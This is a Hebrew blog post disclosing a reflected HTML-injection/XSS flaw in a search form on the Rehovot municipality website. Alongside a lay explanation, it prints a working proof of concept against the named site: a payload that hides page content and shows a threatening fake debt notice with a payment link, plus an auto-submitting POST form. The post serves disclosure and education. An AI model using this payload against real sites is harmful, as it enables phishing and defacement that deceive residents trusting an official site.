לאחר שהמאמר ב׳הארץ׳ פורסם – אני יכול לפרסם גם פה מאמר טכני יותר על הפרצה האחרונה. כשאנחנו מדברים על חולשות אבטחה, יש כמה סוגים של חולשות – החולשה הראשונה היא דליפת מידע – כמו דליפת המידע למשל שהיתה לאחרונה בזאפ (שחשפה פרטים של כמיליון לקוחות) או דליפת המידע באתר רמי לוי שחשפה את כל פרטי הלקוחות והשיחות שלהם. הסוג השני הוא הרבה יותר הרסני, אך מדברים עליו פחות – מדובר בחולשה בתשתית שמהווה פתח משמעותי למתקפה עתידית. מה זאת אומרת? המקרה הבא של אתר עירית רחובות יכול להראות לנו.
פורצים מאוד אוהבים להכנס לאתר ולהכניס לתוכו תוכן. למה? כי יש כאן אפשרות להרוויח. למשל אם אני אכנס לאתר של עירית רחובות ואשנה אותו כך שהוא יכיל טופס לתשלום ארנונה אבל פרטי כרטיסי האשראי יעברו אלי – זה יכול להכניס לי לא מעט כסף. אם אני אכניס תעמולה כנגד ראש העיר המכהן, אני גם יכול להרוויח רווח פוליטי. אם אני אכתוב שם קללות על מישהו שגר ברחובות, אני סתם אהיה טרול אבל יכול לגרום שיימינג נורא. למה בדיוק? כיוון שאתר של עיריה הוא לא אתר עלום שם. זה אתר של רשות מקומית גדולה שאנשים מאמינים למה שכתוב שם.
ישנן שתי דרכים מרכזיות לשנות תוכן של אתר – הראשונה היא הפשוטה ביותר: השגת שם המשתמש והסיסמה של ממשק האתר או פרטי הכניסה אל השרת ושינוי התכנים. הכי פשוט בעולם, לא? השיטה השניה משתמשת בחולשה ידועה שנקראת XSS – שתילת תוכן באתר באמצעות ניצול חולשה בהזנת נתונים. מדובר בשם מסובך מאוד לשיטה מאוד פשוטה. אבל מאוד.
בואו נדמיין שיש לנו מנוע חיפוש. כן, ממש כמו גוגל.
אם אני מכניס לתוכו טקסט, אני מקבל תוצאות. שימו לב למשהו מעניין – כל מה שאני כותב בתיבה מודפס מחוצה לה. כלומר אם אני כותב "משה הוא בן אדם לא נחמד" זה מודפס בתיבה. אני יכול גם, באופן עקרוני, ליצור קישור שברגע שאני שולח אותו למישהו, הוא רואה את הטקסט בתיבת החיפוש. נשמע תיאורטי? לחצו כאן – תגיעו למנוע החיפוש גוגל שבתוכו מוזן הטקסט "משה הוא בן אדם לא נחמד". אבל מה הבעיה עם זה? כל אדם יכול להבין שזה מנוע חיפוש, נכון?
אבל מה קורה אם התוקף מזין קוד מיוחד באתר שאינו רק כולל מילים אלא גם קטעי קוד שמשנים את מראה האתר, מכניסים מידע, קישורים, תמונות ובעצם כל מה שתרצו. במקרה הזה אפשר לגרום לאתר להראות בדיוק כפי שאנחנו רוצים. למשל, אם במקום 'משה הוא בן אדם לא נחמד' נכניס קטע טקסט שיש בו גם את הטקסט שאנחנו רוצים וגם קטעי קוד שישנו את מראה האתר לחלוטין – יורידו את שדה החיפוש (כדי שזה לא יהיה ברור שמדובר בחיפוש), יוסיפו אייקון מאיים בכותרת ויכניסו קישור אל 'דף תשלום' למשל.
<h1>שלום, אתה חייב לנו כסף יא פח אשפה<h1>תשלם לנו ב<a href=https://internet-israel.com>קישור הזה</a> או שנעקל לך את הבית<style>h1 {color: red !important} h2 {color: white !important} p {text-indent: -9999px;} </style>
כל מי שיקבל את הקישור ויכנס לתוכו, יראה את האתר המותקף – הדומיין שלו, ה-https שלו הכל תקין – אבל התוכן שלו השתנה לגמרי והוא בשליטת התוקף. הקישור יכול להיות מופץ באופן המוני באמצעות סמסים, דואר אלקטרוני ועוד – כל מי שיכנס אליו יראה את התוכן של התוקף באתר של המותקף.
הפרצה הזו נקראת XSS והיא פרצה ממש פשוטה להבנה וגם לניצול. הבעיה היא שזו פרצה ממש ממש ותיקה. לא רק שהיא פרצה ותיקה – כל מתכנת עם חמש דקות ניסיון אמור להכיר אותה. החסימה שלה היא מאוד פשוטה – אם יש תוים מיוחדים בטקסט החיפוש – פשוט מציגים אותם בצורה קצת מעוותת שלא תגרום להרצה של הקוד. זה כל כך אלמנטרי, שהאמת היא שהייתי בטוח שכבר לא נראה אותה יותר, אבל מסתבר שרחובות יכולה להפתיע גם אותי. מי שעלה על הפרצה הוא חוקר האבטחה sm3 שהעביר לי את המידע הראשונה ויחדיו חקרנו את הפירצה הזו והכנו דמו משעשע.
בדף יש מנוע חיפוש שבו אפשר להזין מספר פניה. אם מזינים מספר פניה רואים שמספר הפניה לא נמצא.
עד כאן טוב ויפה. הבעיה שבטופס הזה לא הוטמעה ההגנה. באופן תיאורטי כל אחד יכול להכניס איזה קוד שבא לו בשדה החיפוש.
מה אפשר לעשות? הו הו הו -מה שבא לי והכל בתוך קישור ולידי באתר של עירית רחובות.
שימו לב לסרטון הזה למשל:
פרטים טכניים
ה-XSS הקלאסי והריפלקטיבי כבר די מת בכרום ובדרך למות בפיירפוקס. למה? כיוון שכל איזכור של תגית script או כל משחק אחר שמנסה להריץ ג'אווהסקריפט באמצעות ה-XSS הפשוט והנחמד שלנו נתפס מיידית בכרום.
כלומר אם אני שולח משהו בסגנון
https://www.rehovot.muni.il/201?id=<script>alert(1)</script>
כרום יהרוג את הבקשה. כן, גם אם אני אנסה להכניס iframe או כן אנסה להריץ ג'אווהסקריפט עם כל המשחקים המוכרים (onload וכל שטויות ה-HTML5 המוכרות והחביבות) – כן, גם אם אני אשגר את הנתונים ב-POST. מה חשבתם? שהמתכנתים של כרום לא יודעים מה הם עושים? בטח שהם יודעים. אבל בהגדרה הם לא חוסמים תגיות style ו-HTML (כי יש גבול להגנה של הדפדפן( ועדיין אפשר לתמרן את התוכן באתר ולשכנע את המשתמש להקליק על קישורים וזה בדיוק מה שאני עושה פה. פשוט, קל למניעה ומרגיז כל כך שזה קיים.
כיוון שמדובר בטופס של POST, הפרצה קצת יותר מעניינת – אני צריך ליצור HTML שמייצר את ה-POST ומעביר את הגולש אל הדף שיש בו את הפרצה עם המידע של ה-POST:
<html>
<body onload="document.xss.submit()">
<div>
<form name="xss" id="xss" action="https://www.rehovot.muni.il/201/" method="POST">
<input name="isPost" value="yes" type="hidden">
<input name="num" value="<h1>שלום, אתה חייב לנו כסף יא פח אשפה<h1>תשלם לנו ב<a href=https://internet-israel.com>קישור הזה</a> או שנעקל לך את הבית<style>h1 {color: red !important} h2 {color: white !important} p {text-indent: -9999px;} </style>" type="hidden">
</form>
</div>
</body>
</html>
הדף הזה בעצם מבצע העברה לדף אחר עם POST, זה הכל. את הדף הזה אני מאחסן במקום שלישי ושולח את הקישור למותקף. ברגע שהוא לחץ – הוא מגיע אל הדף המורעל.